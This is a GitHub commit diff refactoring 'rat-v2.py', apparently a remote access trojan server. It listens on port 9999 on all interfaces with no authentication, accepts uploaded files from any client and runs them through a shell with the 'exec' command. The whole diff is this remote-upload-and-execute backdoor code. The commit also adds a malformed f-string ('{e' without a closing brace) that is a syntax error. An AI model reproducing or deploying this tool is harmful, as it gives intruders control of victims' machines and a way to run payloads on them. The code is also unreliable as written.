Skip to content

Commit bf94e78

Browse files
authored
Update rat-v2.py
1 parent 4818d83 commit bf94e78

File tree

1 file changed

+63
-53
lines changed

1 file changed

+63
-53
lines changed

rat-v2.py

Lines changed: 63 additions & 53 deletions
Original file line numberDiff line numberDiff line change
@@ -5,13 +5,12 @@
55
import hashlib
66
import logging
77

8-
UPLOAD_DIR = os.path.join('uploads') # Directory to save uploaded files
8+
UPLOAD_DIR = os.path.join('uploads')
9+
BUFFER_SIZE = 1024
910

10-
# Setup logging
1111
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
1212

13-
if not os.path.exists(UPLOAD_DIR):
14-
os.makedirs(UPLOAD_DIR)
13+
os.makedirs(UPLOAD_DIR, exist_ok=True)
1514

1615
def calculate_checksum(file_path):
1716
"""Calculate SHA-256 checksum of a file for integrity check."""
@@ -26,69 +25,80 @@ def safe_path(base_dir, file_name):
2625
return os.path.join(base_dir, os.path.basename(file_name))
2726

2827
def handle_client(client_socket):
28+
"""Handle commands from the client."""
2929
try:
3030
while True:
31-
command = client_socket.recv(1024).decode()
31+
command = client_socket.recv(BUFFER_SIZE).decode().strip()
3232
if not command:
3333
break
3434

3535
logging.info(f"Received command: {command}")
36-
37-
if command.lower() == 'ping':
38-
client_socket.send(b'Running')
36+
response = handle_command(command, client_socket)
3937

40-
elif command.lower() == 'exit':
41-
client_socket.send(b'Connection closing')
42-
break
38+
client_socket.send(response.encode())
4339

44-
elif command.lower().startswith('upload '):
45-
try:
46-
file_name = safe_path(UPLOAD_DIR, command[7:])
47-
file_size = int(client_socket.recv(1024).decode())
48-
client_socket.send(b'Ready to receive file')
49-
50-
# File upload process
51-
with open(file_name, 'wb') as f:
52-
received = 0
53-
while received < file_size:
54-
data = client_socket.recv(min(file_size - received, 1024))
55-
if not data:
56-
break
57-
f.write(data)
58-
received += len(data)
59-
60-
client_socket.send(b'File uploaded')
61-
62-
# Verify file integrity
63-
checksum = calculate_checksum(file_name)
64-
client_socket.send(f'Checksum: {checksum}'.encode())
65-
66-
except Exception as e:
67-
logging.error(f"Upload failed: {e}")
68-
client_socket.send(f'Upload failed: {str(e)}'.encode())
69-
70-
elif command.lower().startswith('exec '):
71-
file_to_run = safe_path(UPLOAD_DIR, command[5:])
72-
if os.path.isfile(file_to_run):
73-
try:
74-
subprocess.Popen(file_to_run, shell=True)
75-
client_socket.send(b'Execution started')
76-
logging.info(f"Execution started for {file_to_run}")
77-
except Exception as e:
78-
logging.error(f"Execution failed: {e}")
79-
client_socket.send(f'Execution failed: {str(e)}'.encode())
80-
else:
81-
client_socket.send(b'File not found')
82-
8340
except Exception as e:
8441
logging.error(f"Client handling error: {e}")
8542
finally:
8643
client_socket.close()
8744
logging.info("Connection closed")
8845

46+
def handle_command(command, client_socket):
47+
"""Process commands from the client."""
48+
if command.lower() == 'ping':
49+
return 'Running'
50+
51+
elif command.lower() == 'exit':
52+
return 'Connection closing'
53+
54+
elif command.lower().startswith('upload '):
55+
return handle_upload(command[7:], client_socket)
56+
57+
elif command.lower().startswith('exec '):
58+
return handle_exec(command[5:])
59+
60+
return 'Unknown command'
61+
62+
def handle_upload(file_name, client_socket):
63+
"""Handle file upload from the client."""
64+
try:
65+
file_path = safe_path(UPLOAD_DIR, file_name)
66+
file_size = int(client_socket.recv(BUFFER_SIZE).decode())
67+
client_socket.send(b'Ready to receive file')
68+
69+
with open(file_path, 'wb') as f:
70+
received = 0
71+
while received < file_size:
72+
data = client_socket.recv(min(file_size - received, BUFFER_SIZE))
73+
if not data:
74+
break
75+
f.write(data)
76+
received += len(data)
77+
78+
logging.info(f'File uploaded: {file_path}')
79+
checksum = calculate_checksum(file_path)
80+
return f'File uploaded. Checksum: {checksum}'
81+
82+
except Exception as e:
83+
logging.error(f"Upload failed: {e}")
84+
return f'Upload failed: {str(e)}'
85+
86+
def handle_exec(file_name):
87+
"""Execute a file if it exists."""
88+
file_path = safe_path(UPLOAD_DIR, file_name)
89+
if os.path.isfile(file_path):
90+
try:
91+
subprocess.Popen(file_path, shell=True)
92+
logging.info(f"Execution started for {file_path}")
93+
return 'Execution started'
94+
except Exception as e:
95+
logging.error(f"Execution failed: {e}")
96+
return f'Execution failed: {str(e)}'
97+
return 'File not found'
98+
8999
def main():
90100
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
91-
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # To reuse the socket address
101+
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
92102
server.bind(('0.0.0.0', 9999))
93103
server.listen(5)
94104
logging.info('Listening on port 9999')
@@ -97,11 +107,11 @@ def main():
97107
while True:
98108
client_socket, addr = server.accept()
99109
logging.info(f'Accepted connection from {addr}')
100-
client_socket.settimeout(60) # Set a timeout for client socket
110+
client_socket.settimeout(60)
101111
client_handler = threading.Thread(target=handle_client, args=(client_socket,))
102112
client_handler.start()
103113
except Exception as e:
104-
logging.error(f"Server error: {e}")
114+
logging.error(f"Server error: {e")
105115
finally:
106116
server.close()
107117

0 commit comments

Comments
 (0)